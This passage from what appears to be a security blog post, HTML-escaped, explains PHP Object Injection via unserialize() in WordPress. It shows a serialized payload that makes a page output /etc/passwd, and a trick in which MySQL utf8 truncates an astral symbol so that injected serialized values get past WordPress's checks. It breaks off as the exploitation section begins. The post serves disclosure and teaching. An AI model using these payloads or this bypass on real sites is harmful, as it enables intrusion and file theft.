&lt;span class=&quot;nv&quot;&gt;$foo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/etc/passwd'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Which results in &lt;code&gt;O:3:&quot;Foo&quot;:1:{s:4:&quot;file&quot;;s:11:&quot;/etc/passwd&quot;;}&lt;/code&gt;. All the attacker has to do now is to send a GET request to the vulnerable page with his payload. This page will then output the contents of &lt;code&gt;/etc/passwd&lt;/code&gt;.
Although reading arbitrary files is quite bad, imagine what would happen if &lt;code&gt;file_get_contents&lt;/code&gt; would be &lt;code&gt;eval&lt;/code&gt; in the above example…&lt;/p&gt;

&lt;p&gt;I hope this section has shed some light on the possible dangers of supplying user-generated content to the &lt;code&gt;unserialize()&lt;/code&gt; function.
Even PHP’s reference manual clearly states that one should not pass user-generated content to the &lt;code&gt;unserialize()&lt;/code&gt; function:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;/p&gt;

  &lt;p&gt;Do not pass untrusted user input to unserialize(). Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/you-shall-not-pass.png&quot; alt=&quot;You shall not pass user-content to userialize()&quot; class=&quot;image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now let’s move on to how this affects WordPress.&lt;/p&gt;

&lt;h3 id=&quot;wordpress-vulnerability&quot;&gt;WordPress vulnerability&lt;/h3&gt;

&lt;p&gt;In Stefan Esser’s BlackHat presentation, he mentioned that WordPress is a well-known example of an application that makes use of &lt;code&gt;serialize()&lt;/code&gt; and &lt;code&gt;unserialize()&lt;/code&gt;. In the example of his slides, &lt;code&gt;unserialize()&lt;/code&gt; is used on content received from the WordPress website.
So when an attacker is able to perform a MitM-attack on the victim’s website, he can modify the response from the WordPress website to include his payload.
Interestingly, at the time of writing, even the latest version of WordPress (3.6) contains this vulnerability (aprox. 3 years after the presentation).
Imagine what could happen if an attacker were able to hijack the WordPress.org DNS…&lt;/p&gt;

&lt;p&gt;However… this is not the only occurrence where WordPress uses &lt;code&gt;unserialize()&lt;/code&gt;.
It is also used to store certain information in the database. For example, some user metadata is stored serialized in the database. This metadata is retrieved in the &lt;code&gt;wp-includes/meta.php&lt;/code&gt; file by the &lt;code&gt;get_metadata()&lt;/code&gt;-function defined on line 267. Here’s a little abstract from this function (lines 292-297):&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$meta_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$meta_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$single&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;maybe_unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$meta_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$meta_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;array_map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'maybe_unserialize'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$meta_cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$meta_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So basically, what this function does is retrieve metadata (either from posts or users) from the database (respectively the wp_postmeta and wp_usermeta tables). As some content should be serialized while other content should not, the &lt;code&gt;maybe_unserialize()&lt;/code&gt; function is called instead of &lt;code&gt;unserialize()&lt;/code&gt;. This function is defined in &lt;code&gt;wp-includes/functions.php&lt;/code&gt; on lines 230-234.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;maybe_unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$original&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;is_serialized&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$original&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// don't attempt to unserialize data that wasn't serialized going in&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;unserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$original&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So what this function does, is check whether the given value is a serialized string and if it is, it is unserialized.
The &lt;code&gt;is_serialized()&lt;/code&gt; function is defined in the same file, on lines 247-276:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;is_serialized&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// if it isn't a string, it isn't serialized&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;is_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'N;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;':'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$lastc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;';'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$lastc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'}'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$lastc&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$token&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'s'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&quot;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'a'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'O'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/^&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$token&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:[0-9]+:/s&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'b'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'i'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'d'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/^&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$token&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:[0-9.E-]+;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The reason why it is important to note how WordPress checks if a value is a serialized string will become clear soon. 
First, let’s look at how an attacker could make content he supplies end up in this metadata table.
For every user the first name, last name, Yahoo IM, … are stored in the wp_usermeta table. So let’s just add the payload there and pwn WordPress, right?! You can check by setting &lt;code&gt;i:1;&lt;/code&gt; as your name, if this is unserialized, it will result in the integer &lt;code&gt;1&lt;/code&gt;. However, if you test this, you will see that the content isn’t unserialized and just returns &lt;code&gt;i:1;&lt;/code&gt;, as was entered.&lt;/p&gt;

&lt;p&gt;Darn, it’ll take some more to pwn WordPress aparently… Let’s dig deeper why the content isn’t unserialized…
In &lt;code&gt;wp-includes/meta.php&lt;/code&gt;, the &lt;code&gt;update_metadata()&lt;/code&gt; function is defined on lines 101-164. Here’s an abstract of this function:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// …&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$meta_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wp_unslash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$meta_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$meta_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sanitize_meta&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$meta_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$meta_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$meta_type&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// …&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$meta_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;maybe_serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$meta_value&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    
    &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;compact&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'meta_value'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// …&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$wpdb&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$where&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// …&lt;/span&gt;
    
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;maybe_serialize()&lt;/code&gt; function might explain why our payload didn’t work… Let’s take a closer look at the function defined in &lt;code&gt;wp-includes/functions.php&lt;/code&gt; on lines 314-324.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;maybe_serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;is_array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;is_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Double serialization is required for backward compatibility.&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// See http://core.trac.wordpress.org/ticket/12930&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;is_serialized&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So when the given value is a serialized string, it will be serialized again. That is indeed what happens. As you can see in the database, &lt;code&gt;i:1;&lt;/code&gt; is turned into &lt;code&gt;s:4:&quot;i:1;&quot;;&lt;/code&gt;, which is deserialized as a string when it is displayed. So what now?&lt;/p&gt;

&lt;p&gt;As you might have noticed, this post was also tagged MySQL. Now it’ll become clear why. In order to successfully insert a serialized object, we need the &lt;code&gt;is_serialized()&lt;/code&gt; function to return &lt;code&gt;false&lt;/code&gt; when a string is insterted, and it should return &lt;code&gt;true&lt;/code&gt; after it is retrieved from the database.&lt;/p&gt;

&lt;p&gt;As you might know, a MySQL database, table and even the separate columns have their own charset/collation. For WordPress, the default charset is &lt;code&gt;utf8&lt;/code&gt;. Contrastinly to the name, this charset actually does not support the full Unicode character set. For more information about this, please refer to &lt;a href=&quot;http://mathiasbynens.be/notes/mysql-utf8mb4&quot; title=&quot;How to support full Unicode in MySQL databases&quot;&gt;following post by Mathias Bynens&lt;/a&gt;.
This taught me that tables with &lt;code&gt;utf8&lt;/code&gt; as charset can not store astral symbols (whose code points range from U+010000 to U+10FFFF). So what happens if we try to store one of these symbols nonetheless? Apparently, everything after such a symbol is just discarded. So for example, when trying to insert &lt;code&gt;foo𝌆bar&lt;/code&gt;, MySQL will discard &lt;code&gt;𝌆bar&lt;/code&gt; and just store &lt;code&gt;foo&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This was the last piece of the puzzle that was needed to inject serialized values which will be unserialized later on. To test this, you can insert &lt;code&gt;i:1;𝌆&lt;/code&gt; as your first name. As you will see, this results in just &lt;code&gt;1&lt;/code&gt; as value, meaning that the value you supplied was unserialized. If you don’t yet believe me, try entering a serialized empty array with an astral symbol appended: &lt;code&gt;a:0:{}𝌆&lt;/code&gt;. This will result in &lt;code&gt;Array&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s recap: &lt;code&gt;maybe_serialized('i:1;𝌆')&lt;/code&gt; is inserted to the database. As WordPress does not see this as a serialized string (because it doesn’t end in &lt;code&gt;;&lt;/code&gt; or &lt;code&gt;}&lt;/code&gt;), this will result in &lt;code&gt;i:1;𝌆&lt;/code&gt;. When inserted, MySQL doesn’t know how to store it properly, and removes the astral symbol &lt;code&gt;𝌆&lt;/code&gt;. 
Later on, when the value &lt;code&gt;i:1;&lt;/code&gt; is retrieved, it will be unserialized as it now has &lt;code&gt;;&lt;/code&gt; as last character which will make &lt;code&gt;is_serialized()&lt;/code&gt; return &lt;code&gt;true&lt;/code&gt;. Boom. Vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;wordpress-exploit&quot;&gt;WordPress exploit&lt;/h3&gt;

&lt;p&gt;Now we’ve shown that WordPress contains a PHP Object Injection vulnerability, let’s try to exploit it… So in order to exploit this vulnerability (by injecting objects), we need to find a class that (i) contains a “useful” method that is called, and (ii) is included at the time the object is created.&lt;/p&gt;

&lt;p&gt;When an object is unserialized, the &lt;code&gt;__wakeup()&lt;/code&gt; function is called. This function is one of PHP’s &lt;a href=&quot;http://php.net/manual/en/language.oop5.magic.php&quot; title=&quot;PHP Magic Methods&quot;&gt;“magic-methods”&lt;/a&gt;.
This is one method we are sure of that is called, there could be some more though. I made the following class which logs all function calls to &lt;code&gt;/tmp/func.log&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
